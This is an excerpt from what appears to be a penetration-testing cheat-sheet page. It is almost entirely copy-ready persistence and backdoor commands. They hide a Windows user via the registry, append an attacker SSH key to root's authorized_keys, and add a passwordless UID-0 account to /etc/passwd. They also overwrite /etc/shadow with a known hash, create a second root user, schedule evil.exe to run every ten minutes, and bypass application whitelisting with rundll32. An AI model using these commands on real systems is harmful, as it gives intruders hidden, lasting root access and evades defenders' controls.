reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /t REG_DWORD /v spotless /d 0 /f
Copied!

Creating SSH Authorized Keys

1
mkdir /root/.ssh 2>/dev/null; echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChKCUsFVWj1Nz8SiM01Zw/BOWcMNs2Zwz3MdT7leLU9/Un4mZ7vjco0ctsyh2swjphWr5WZG28BN90+tkyj3su23UzrlgEu3SaOjVgxhkx/Pnbvuua9Qs9gWbWyRxexaC1eDb0pKXHH2Msx+GlyjfDOngq8tR6tkU8u1S4lXKLejaptiz0q6P0CcR6hD42IYkqyuWTNrFdSGLtiPCBDZMZ/5g1cJsyR59n54IpV0b2muE3F7+NPQmLx57IxoPjYPNUbC6RPh/Saf7o/552iOcmVCdLQDR/9I+jdZIgrOpstqSiJooU9+JImlUtAkFxZ9SHvtRbFt47iH7Sh7LiefP5 [email protected]' >> /root/.ssh/authorized_keys
Copied!

Creating Backdoor User w/o Password

1
echo 'spotless::0:0:root:/root:/bin/bash' >> /etc/passwd
2
3
# Rarely needed, but if you need to add a password to the previously created user by using useradd and passwd is not working. Pwd is "kali"
4
sed 's/!/\$6$o1\.HFMVM$a3hY6OPT\/DiQYy4koI6Z3\/sLiltsOcFoS5yCKhBBqQLH5K1QlHKL8\/6wJI6uF\/Q7mniOdq92v6yjzlVlXlxkT\./' /etc/shadow > /etc/s2; cat /etc/s2 > /etc/shadow; rm /etc/s2
Copied!

Creating Another root User

1
useradd -u0 -g0 -o -s /bin/bash -p `openssl passwd yourpass` rootuser
Copied!

Generating OpenSSL Password

1
openssl passwd -1 password
2
# output $1$YKbEkrkZ$7Iy/M3exliD/yJfJVeTn5.
Copied!

Persistent Back Doors

1
# Launch evil.exe every 10 minutes
2
schtasks /create /sc minute /mo 10 /tn "TaskName" /tr C:\Windows\system32\evil.exe
Copied!

Code Execution / Application Whitelist Bypass

Ieframe.dll

cmd
test.url
1
rundll32 c:\windows\system32\ieframe.dll,OpenURL c:\temp\test.url
Copied!
1
[internetshortcut]
2
url=c:\windows\system32\calc.exe
Copied!
This was inspired by and forked/adapted/updated from Dostoevsky's Pentest Notes.
Last modified 7mo ago